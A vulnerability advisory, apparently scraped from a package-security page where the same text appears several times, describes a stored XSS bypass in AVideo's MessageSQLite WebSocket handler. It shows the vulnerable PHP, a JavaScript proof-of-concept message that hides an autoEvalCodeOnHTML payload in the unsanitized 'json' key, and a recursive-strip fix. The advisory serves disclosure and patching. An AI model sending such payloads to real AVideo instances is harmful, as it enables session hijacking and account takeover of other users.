# AVideo: Stored XSS via `autoEvalCodeOnHTML` in MessageSQLite WebSocket Handler ## Summary AVideo has a stored XSS vulnerability in the WebSocket messaging system. The `MessageSQLite.php` handler only strips `autoEvalCodeOnHTML` from `$json['msg']`, but `msgToResourceId()` reads from `$msg['json']` with higher priority. An attacker can place the XSS payload in the `json` key instead of `msg`, bypassing the sanitization entirely. ## Affected Versions AVideo <= latest ## Vulnerability Details ### Root Cause: Shallow sanitization only covers `$json['msg']` `plugin/YPTSocket/MessageSQLite.php` lines 268-271 — the incomplete fix: ```php if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') { if (is_array($json['msg'] ?? null)) { unset($json['msg']['autoEvalCodeOnHTML']); // Only strips from $json['msg'] } } ``` `plugin/YPTSocket/MessageSQLite.php` lines 361-367 — the bypass via `msgToResourceId()`: ```php if (!empty($msg['json'])) { $obj['msg'] = $msg['json']; // $msg['json']['autoEvalCodeOnHTML'] is NEVER stripped } else if (!empty($msg['msg'])) { $obj['msg'] = $msg['msg']; // Only this path was sanitized } else { $obj['msg'] = $msg; } ``` Compare with the correctly patched `Message.php` (lines 254-256): ```php $json = removeAutoEvalCodeOnHTMLRecursive($json); // Strips from ALL nested paths ``` And `MessageSQLiteV2.php` (lines 302-303): ```php $json = removeAutoEvalCodeOnHTMLRecursive($json); // Same recursive fix ``` `MessageSQLite.php` does not call `removeAutoEvalCodeOnHTMLRecursive()` at all. ### Attack Chain - Attacker sends a WebSocket message with `autoEvalCodeOnHTML` in the `json` key instead of `msg` - The fix at line 268-271 only checks `$json['msg']` — the `json` key is untouched - `msgToResourceId()` reads `$msg['json']` first (line 361) because `!empty($msg['json'])` is true - The payload is delivered to the victim's WebSocket client and evaluated via `autoEvalCodeOnHTML` ## Proof of Concept ```javascript // Connect to AVideo WebSocket as authenticated user const ws = new WebSocket('wss://TARGET/plugin/YPTSocket/server.php?token=USER_TOKEN'); ws.onopen = () => { ws.send(JSON.stringify({ msg: "Hello", // sanitized path — decoy json: {autoEvalCodeOnHTML: "alert('XSS')"}, // unsanitized path — payload to_users_id: VICTIM_USER_ID, resourceId: RESOURCE_ID })); }; // Victim's client evaluates alert('XSS') via autoEvalCodeOnHTML mechanism ``` ## Impact An authenticated attacker can: - Execute arbitrary JavaScript in any connected user's browser session via the WebSocket messaging system - Steal session cookies and authentication tokens - Perform account takeover via session hijacking - Chain with CSRF to execute admin actions on behalf of the victim The vulnerability affects the default SQLite WebSocket backend configuration. ## Suggested Remediation Apply `removeAutoEvalCodeOnHTMLRecursive()` in `MessageSQLite.php`, consistent with `Message.php` and `MessageSQLiteV2.php`: ```php // Before (vulnerable — shallow strip): if (is_array($json['msg'] ?? null)) { unset($json['msg']['autoEvalCodeOnHTML']); } // After (fixed — recursive strip): $json = removeAutoEvalCodeOnHTMLRecursive($json); ```
# AVideo: Stored XSS via `autoEvalCodeOnHTML` in MessageSQLite WebSocket Handler ## Summary AVideo has a stored XSS vulnerability in the WebSocket messaging system. The `MessageSQLite.php` handler only strips `autoEvalCodeOnHTML` from `$json['msg']`, but `msgToResourceId()` reads from `$msg['json']` with higher priority. An attacker can place the XSS payload in the `json` key instead of `msg`, bypassing the sanitization entirely. ## Affected Versions AVideo <= latest ## Vulnerability Details ### Root Cause: Shallow sanitization only covers `$json['msg']` `plugin/YPTSocket/MessageSQLite.php` lines 268-271 — the incomplete fix: ```php if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') { if (is_array($json['msg'] ?? null)) { unset($json['msg']['autoEvalCodeOnHTML']); // Only strips from $json['msg'] } } ``` `plugin/YPTSocket/MessageSQLite.php` lines 361-367 — the bypass via `msgToResourceId()`: ```php if (!empty($msg['json'])) { $obj['msg'] = $msg['json']; // $msg['json']['autoEvalCodeOnHTML'] is NEVER stripped } else if (!empty($msg['msg'])) { $obj['msg'] = $msg['msg']; // Only this path was sanitized } else { $obj['msg'] = $msg; } ``` Compare with the correctly patched `Message.php` (lines 254-256): ```php $json = removeAutoEvalCodeOnHTMLRecursive($json); // Strips from ALL nested paths ``` And `MessageSQLiteV2.php` (lines 302-303): ```php $json = removeAutoEvalCodeOnHTMLRecursive($json); // Same recursive fix ``` `MessageSQLite.php` does not call `removeAutoEvalCodeOnHTMLRecursive()` at all. ### Attack Chain - Attacker sends a WebSocket message with `autoEvalCodeOnHTML` in the `json` key instead of `msg` - The fix at line 268-271 only checks `$json['msg']` — the `json` key is untouched - `msgToResourceId()` reads `$msg['json']` first (line 361) because `!empty($msg['json'])` is true - The payload is delivered to the victim's WebSocket client and evaluated via `autoEvalCodeOnHTML` ## Proof of Concept ```javascript // Connect to AVideo WebSocket as authenticated user const ws = new WebSocket('wss://TARGET/plugin/YPTSocket/server.php?token=USER_TOKEN'); ws.onopen = () => { ws.send(JSON.stringify({ msg: "Hello", // sanitized path — decoy json: {autoEvalCodeOnHTML: "alert('XSS')"}, // unsanitized path — payload to_users_id: VICTIM_USER_ID, resourceId: RESOURCE_ID })); }; // Victim's client evaluates alert('XSS') via autoEvalCodeOnHTML mechanism ``` ## Impact An authenticated attacker can: - Execute arbitrary JavaScript in any connected user's browser session via the WebSocket messaging system - Steal session cookies and authentication tokens - Perform account takeover via session hijacking - Chain with CSRF to execute admin actions on behalf of the victim The vulnerability affects the default SQLite WebSocket backend configuration. ## Suggested Remediation Apply `removeAutoEvalCodeOnHTMLRecursive()` in `MessageSQLite.php`, consistent with `Message.php` and `MessageSQLiteV2.php`: ```php // Before (vulnerable — shallow strip): if (is_array($json['msg'] ?? null)) { unset($json['msg']['autoEvalCodeOnHTML']); } // After (fixed — recursive strip): $json = removeAutoEvalCodeOnHTMLRecursive($json); ```
Monitor this advisory for an available fix and review any installs of the affected package.
Local check
hol-guard supply-chain scanWWBN AVideo: Stored XSS via autoEvalCodeOnHTML Bypass in MessageSQLite WebSocket Handler (CVE-2026-43874 Bypass) affects wwbn/avideo (composer). Severity is high. # AVideo: Stored XSS via `autoEvalCodeOnHTML` in MessageSQLite WebSocket Handler ## Summary AVideo has a stored XSS vulnerability in the WebSocket messaging system. The `MessageSQLite.php` handler only strips `autoEvalCodeOnHTML` from `$json['msg']`, but `msgToResourceId()` reads from `$msg['json']` with higher priority. An attacker can place the XSS payload in the `json` key instead of `msg`, bypassing the sanitization entirely. ## Affected Versions AVideo <= latest ## Vulnerability Details ### Root Cause: Shallow sanitization only covers `$json['msg']` `plugin/YPTSocket/MessageSQLite.php` lines 268-271 — the incomplete fix: ```php if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') { if (is_array($json['msg'] ?? null)) { unset($json['msg']['autoEvalCodeOnHTML']); // Only strips from $json['msg'] } } ``` `plugin/YPTSocket/MessageSQLite.php` lines 361-367 — the bypass via `msgToResourceId()`: ```php if (!empty($msg['json'])) { $obj['msg'] = $msg['json']; // $msg['json']['autoEvalCodeOnHTML'] is NEVER stripped } else if (!empty($msg['msg'])) { $obj['msg'] = $msg['msg']; // Only this path was sanitized } else { $obj['msg'] = $msg; } ``` Compare with the correctly patched `Message.php` (lines 254-256): ```php $json = removeAutoEvalCodeOnHTMLRecursive($json); // Strips from ALL nested paths ``` And `MessageSQLiteV2.php` (lines 302-303): ```php $json = removeAutoEvalCodeOnHTMLRecursive($json); // Same recursive fix ``` `MessageSQLite.php` does not call `removeAutoEvalCodeOnHTMLRecursive()` at all. ### Attack Chain - Attacker sends a WebSocket message with `autoEvalCodeOnHTML` in the `json` key instead of `msg` - The fix at line 268-271 only checks `$json['msg']` — the `json` key is untouched - `msgToResourceId()` reads `$msg['json']` first (line 361) because `!empty($msg['json'])` is true - The payload is delivered to the victim's WebSocket client and evaluated via `autoEvalCodeOnHTML` ## Proof of Concept ```javascript // Connect to AVideo WebSocket as authenticated user const ws = new WebSocket('wss://TARGET/plugin/YPTSocket/server.php?token=USER_TOKEN'); ws.onopen = () => { ws.send(JSON.stringify({ msg: "Hello", // sanitized path — decoy json: {autoEvalCodeOnHTML: "alert('XSS')"}, // unsanitized path — payload to_users_id: VICTIM_USER_ID, resourceId: RESOURCE_ID })); }; // Victim's client evaluates alert('XSS') via autoEvalCodeOnHTML mechanism ``` ## Impact An authenticated attacker can: - Execute arbitrary JavaScript in any connected user's browser session via the WebSocket messaging system - Steal session cookies and authentication tokens - Perform account takeover via session hijacking - Chain with CSRF to execute admin actions on behalf of the victim The vulnerability affects the default SQLite WebSocket backend configuration. ## Suggested Remediation Apply `removeAutoEvalCodeOnHTMLRecursive()` in `MessageSQLite.php`, consistent with `Message.php` and `MessageSQLiteV2.php`: ```php // Before (vulnerable — shallow strip): if (is_array($json['msg'] ?? null)) { unset($json['msg']['autoEvalCodeOnHTML']); } // After (fixed — recursive strip): $json = removeAutoEvalCodeOnHTMLRecursive($json); ```
AI coding agents often install or upgrade packages automatically in composer. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| wwbn/avideocomposer | <=29.0 | Not reported |
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardMonitor this advisory for an available fix and review any installs of the affected package.
Local check
hol-guard supply-chain scanWWBN AVideo: Stored XSS via autoEvalCodeOnHTML Bypass in MessageSQLite WebSocket Handler (CVE-2026-43874 Bypass) affects wwbn/avideo (composer). Severity is high. # AVideo: Stored XSS via `autoEvalCodeOnHTML` in MessageSQLite WebSocket Handler ## Summary AVideo has a stored XSS vulnerability in the WebSocket messaging system. The `MessageSQLite.php` handler only strips `autoEvalCodeOnHTML` from `$json['msg']`, but `msgToResourceId()` reads from `$msg['json']` with higher priority. An attacker can place the XSS payload in the `json` key instead of `msg`, bypassing the sanitization entirely. ## Affected Versions AVideo <= latest ## Vulnerability Details ### Root Cause: Shallow sanitization only covers `$json['msg']` `plugin/YPTSocket/MessageSQLite.php` lines 268-271 — the incomplete fix: ```php if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') { if (is_array($json['msg'] ?? null)) { unset($json['msg']['autoEvalCodeOnHTML']); // Only strips from $json['msg'] } } ``` `plugin/YPTSocket/MessageSQLite.php` lines 361-367 — the bypass via `msgToResourceId()`: ```php if (!empty($msg['json'])) { $obj['msg'] = $msg['json']; // $msg['json']['autoEvalCodeOnHTML'] is NEVER stripped } else if (!empty($msg['msg'])) { $obj['msg'] = $msg['msg']; // Only this path was sanitized } else { $obj['msg'] = $msg; } ``` Compare with the correctly patched `Message.php` (lines 254-256): ```php $json = removeAutoEvalCodeOnHTMLRecursive($json); // Strips from ALL nested paths ``` And `MessageSQLiteV2.php` (lines 302-303): ```php $json = removeAutoEvalCodeOnHTMLRecursive($json); // Same recursive fix ``` `MessageSQLite.php` does not call `removeAutoEvalCodeOnHTMLRecursive()` at all. ### Attack Chain - Attacker sends a WebSocket message with `autoEvalCodeOnHTML` in the `json` key instead of `msg` - The fix at line 268-271 only checks `$json['msg']` — the `json` key is untouched - `msgToResourceId()` reads `$msg['json']` first (line 361) because `!empty($msg['json'])` is true - The payload is delivered to the victim's WebSocket client and evaluated via `autoEvalCodeOnHTML` ## Proof of Concept ```javascript // Connect to AVideo WebSocket as authenticated user const ws = new WebSocket('wss://TARGET/plugin/YPTSocket/server.php?token=USER_TOKEN'); ws.onopen = () => { ws.send(JSON.stringify({ msg: "Hello", // sanitized path — decoy json: {autoEvalCodeOnHTML: "alert('XSS')"}, // unsanitized path — payload to_users_id: VICTIM_USER_ID, resourceId: RESOURCE_ID })); }; // Victim's client evaluates alert('XSS') via autoEvalCodeOnHTML mechanism ``` ## Impact An authenticated attacker can: - Execute arbitrary JavaScript in any connected user's browser session via the WebSocket messaging system - Steal session cookies and authentication tokens - Perform account takeover via session hijacking - Chain with CSRF to execute admin actions on behalf of the victim The vulnerability affects the default SQLite WebSocket backend configuration. ## Suggested Remediation Apply `removeAutoEvalCodeOnHTMLRecursive()` in `MessageSQLite.php`, consistent with `Message.php` and `MessageSQLiteV2.php`: ```php // Before (vulnerable — shallow strip): if (is_array($json['msg'] ?? null)) { unset($json['msg']['autoEvalCodeOnHTML']); } // After (fixed — recursive strip): $json = removeAutoEvalCodeOnHTMLRecursive($json); ```
AI coding agents often install or upgrade packages automatically in composer. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| wwbn/avideocomposer | <=29.0 | Not reported |
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard